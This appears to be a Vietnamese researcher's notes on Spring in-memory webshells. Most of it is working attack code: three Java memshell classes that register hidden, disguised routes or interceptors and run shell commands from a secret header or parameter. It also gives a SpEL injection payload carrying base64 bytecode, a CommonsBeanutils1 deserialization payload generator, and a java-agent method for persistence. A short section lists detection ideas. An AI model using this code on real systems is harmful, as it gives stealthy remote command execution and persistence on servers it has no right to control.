Quick Note Spring Memshell

Preface

Một vài mẫu note rời rạc về spring memory webshell mà mình đã dành thời gian tìm hiểu chưa có thời gian viết hoàn thiện

Spring boot

Maven: https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-web

  • spring boot < 2.x => test ok (2.4.10, 2.5.14, 2.7.15)
  • spring boot 3.x (support jdk >= 17) => not ok do jdk ver cao

Dynamically set RequestMappings in Spring (at runtime)

Lấy WebApplicationContext

Key khi inject memshell trong spring là lấy được WebApplicationContext

Study case: Tiện nhưng khi không configure ContextLoaderListener hay applicationContext.xml global configuration file ==> không lấy được context

ContextLoader.getCurrentWebApplicationContext()

Usable: Cả boot vs mvc đều dùng được:

RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest())
RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest())

==> Không có cách nào là tốt nhất, tùy cấu hình app/version mà mỗi cách mới có thể sử dụng được

Lấy HttpServletRequest, HttpServletResponse

ServletRequestAttributes là class cha của RequestAttributes nên ép kiểu đc

HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest();
HttpServletResponse request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getResponse();

Study case, spring boot < 2.6

/*
PatternsRequestCondition chỉ chạy ở spring boot < 2.6
Error: java.lang.IllegalArgumentException: Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH"
Simple reason: https://liuyanzhao.com/1503010911382802434.html 
 */
public NormalTest() throws Exception {
    WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
    RequestMappingHandlerMapping mappingHandler = context.getBean(RequestMappingHandlerMapping.class);
    Method method = NormalTest.class.getMethod("run");
    PatternsRequestCondition patterns = new PatternsRequestCondition("/a/assets/style.css");
    RequestMethodsRequestCondition mc = new RequestMethodsRequestCondition();
    RequestMappingInfo mappingInfo = new RequestMappingInfo(patterns, mc, null, null, null, null, null);
    NormalTest normalTest = new NormalTest("a");

    mappingHandler.registerMapping(mappingInfo, normalTest, method);
}

SpringControllerMem

package evil;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import java.io.PrintWriter;
import java.lang.reflect.Method;

public class SpringControllerMem {
    public static String load() {
        try {
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest());
            RequestMappingHandlerMapping mappingHandler = context.getBean(RequestMappingHandlerMapping.class);
            Method method = SpringControllerMem.class.getMethod("run");
            Method getMappingForMethod = mappingHandler.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
            getMappingForMethod.setAccessible(true);

            RequestMappingInfo mInfo = (RequestMappingInfo) getMappingForMethod.invoke(mappingHandler, method, SpringControllerMem.class);
            SpringControllerMem obj = new SpringControllerMem("a");
            mappingHandler.registerMapping(mInfo, obj, method);
        } catch (Exception e) {}
        return "loaded!";
    }

    public SpringControllerMem(String a) {}

    @RequestMapping("/a/assets/style.css") // memshell path
    public void run() {
        try {
            HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getResponse();

            String arg0 = request.getParameter("dev_63hdsbxs7hx");
            if (arg0 != null && request.getMethod().equals("POST")) {
                ProcessBuilder p;
                String o = "";
                PrintWriter w = response.getWriter();
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/bash", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                w.write(o);
                w.flush();
                w.close();
            } else {
                response.sendError(404);
            }
        } catch (Exception e) {}
    }
}

Code injection (load memshell)

via SpEL Injection

Code test:

ExpressionParser ep = new SpelExpressionParser();
Object result = ep.parseExpression(input).getValue();
  • Test chạy trên spring boot 2.7.15 + jdk8, 3.x lỗi ko load được bytecode qua el injection:
T(org.springframework.cglib.core.ReflectUtils).defineClass('evil.SpringControllerMem',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAA...'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).load()

via Java deserialization

Code test: lib commons-beanutils 1.9.4

Đơn giản là sửa malicious class được load bytecode ở sink của các chain sử dụng TemplatesImpl là sink (vd: CommonsBeanUtils1, CC2, CC3, CC4,…). Bài này sẽ demo chain CommonsBeanutils1, ai đã tìm hiểu chain này thì biết malicious class cần là subclass của AbstractTranslet (may ko phải extends HttpServlet như memshell tomcat) và implements 2 methods transform() là được. Phần code inject request mapping sẽ đặt trong default constructor do sink TemplatesImp sẽ gọi method newInstance() của class được load.

package evil;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Method;

public class MemTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public MemTemplatesImpl() {
        super();
        try {
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest());
            RequestMappingHandlerMapping mappingHandler = context.getBean(RequestMappingHandlerMapping.class);
            Method method = MemTemplatesImpl.class.getMethod("run");
            Method getMappingForMethod = mappingHandler.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
            getMappingForMethod.setAccessible(true);

            RequestMappingInfo mInfo = (RequestMappingInfo) getMappingForMethod.invoke(mappingHandler, method, MemTemplatesImpl.class);
            MemTemplatesImpl obj = new MemTemplatesImpl("a");
            mappingHandler.registerMapping(mInfo, obj, method);
        } catch (Exception e) {}
    }
    public MemTemplatesImpl(String a) {}

    @RequestMapping("/a/assets/style.css") // memshell path
    public void run() {
        try {
            HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getResponse();

            String arg0 = request.getHeader("dev_63hdsbxs7hx");
            if (arg0 != null && request.getMethod().equals("POST")) {
                ProcessBuilder p;
                String o = "";
                PrintWriter w = response.getWriter();
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/bash", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                w.write(o);
                w.flush();
                w.close();
            } else {
                response.sendError(404);
            }
        } catch (Exception e) {}
    }
}

Interceptor type:

package evil;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;

public class InterceptorTypeTest extends AbstractTranslet implements HandlerInterceptor {
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public InterceptorTypeTest() {
        super();
        try {
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest());
            RequestMappingHandlerMapping mappingHandler = context.getBean(RequestMappingHandlerMapping.class);

            Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            adaptedInterceptorsField.setAccessible(true);
            List<HandlerInterceptor>  adaptedInterceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(mappingHandler);

            MappedInterceptor mappedInterceptor = new MappedInterceptor(new String[]{"/assets/**"}, new InterceptorTypeTest("a"));
            adaptedInterceptors.add(mappedInterceptor);
        } catch (Exception e) {}
    }
    public InterceptorTypeTest(String a) {}

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
        String arg0 = request.getHeader("X-Cache-Ghdb56");
        if (arg0 != null && request.getMethod().equals("POST")) {
            try {
                ProcessBuilder p;
                String o = "";
                PrintWriter w = response.getWriter();
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/bash", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                w.write(o);
                w.flush();
                w.close();
            } catch (Exception e) {}
            return false;
        }
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) {}
    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) {}
}

Method gen payload:

private static void genCommonsBeanUtils() throws Exception {
    byte[] bArr = Files.readAllBytes(Paths.get("D:\\lab\\java\\spring-boot11\\target\\classes\\evil\\MemTemplatesImpl.class"));

    TemplatesImpl tplsImpl = new TemplatesImpl();
    setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
    setFieldValue(tplsImpl, "_name", "ahihi");
    setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());

    BeanComparator beanComparator = new BeanComparator();
    PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(beanComparator);
    // replace later
    priorityQueue.add(1);
    priorityQueue.add(1); // size = 2

    setFieldValue(beanComparator, "property", "outputProperties");
    setFieldValue(priorityQueue, "queue", new Object[]{tplsImpl, tplsImpl});
    // test me
    String serialized = serTest(priorityQueue);
    String encoded = URLEncoder.encode(serialized);
    System.out.println(encoded);
}

via java agent

Đã có access vào server, muốn persistent connection. Sử dụng CLI chạy java agent (đã đc package thành .jar file) để load memshell vào app spring đang chạy mong muốn.

ref tạm: https://github.com/fa1c0n1/JavaInstrument/blob/main/AgentSpringbootMemShellInject/src/main/java/me/mole/AttachApp.java

Spring MVC

Version: https://mvnrepository.com/artifact/org.springframework/spring-webmvc

  • spring boot 2.x includes spring-webmvc 5.x => test ok (ko deser đc)
  • spring boot 3.x includes spring-webmvc 6.x => not ok do jdk ver cao

Detection

  • Như tomcat sẽ scan các components như listener, filter, servlet trong JVM process và tìm các class đáng nghi khi sử dụng một số class như classloader, Runtime, ProcessBuilder, reflection gọi method nhạy cảm,… dựa vào bytecode - tương tự Spring sẽ dựa vào components như controller, interceptor.
  • VisualVM qua JMX service
  • Ngoài ra detect dựa vào các keyword đáng nghi như shell, inject, exploit,…
  • Như tomcat có thể up jsp memshell-scanner để detect hoặc chạy agent, spring chỉ có thể chạy agent.
  • RASP (Runtime Application self-protection)
  • Anti detect ….

Notes

For servlet stack applications, the spring-boot-starter-web includes Tomcat by including spring-boot-starter-tomcat, but you can use spring-boot-starter-jetty or spring-boot-starter-undertow instead. => spring boot có tomcat embeded; spring mvc chạy trên tomcat

Do trong compile time chưa import lib của tomcat nên lỗi (deploy mới push lên tomcat, ko phải embeded như spring boot): https://stackoverflow.com/questions/22756153/the-superclass-javax-servlet-http-httpservlet-was-not-found-on-the-java-build

Một Interceptor sẽ implement từ org.springframework.web.servlet.HandlerInterceptor (trong Spring MVC >= 5.3, với version trước đó cần extends từ org.springframework.web.servlet.HandlerInterceptorAdaptor)

Tổng kết

  • Spring boot 2.x memshell ok, via SpEL injection + deserialize
  • Spring boot 3.x not ok do jdk ver cao (từ jdk 16 bị nhiều giới hạn, đọc jdk16/JEP 396)
  • Spring MVC 5.x ~ Spring boot 2.x memshell ok, via SpEL injection - chưa mò vì sao deser lỗi
  • Spring MVC 6.x ~ Spring boot 3.x not ok tương dự do jdk ver cao

jdk16/JEP 396 ==> https://code-white.com/blog/2023-04-java-exploitation-restrictions-in-modern-jdk-times/

  • Lý do mình tìm hiểu memshell controller type là do thường nó sẽ stable hơn, tuy nhiên sử dụng controller type cũng có nhiều giới hạn ví dụ nếu app yêu cầu mọi routes phải authen thì shell cũng phải authen mới xài được. Có thể workaround bằng cách dùng interceptor type, tham khảo: https://blog.csdn.net/mole_exp/article/details/123992395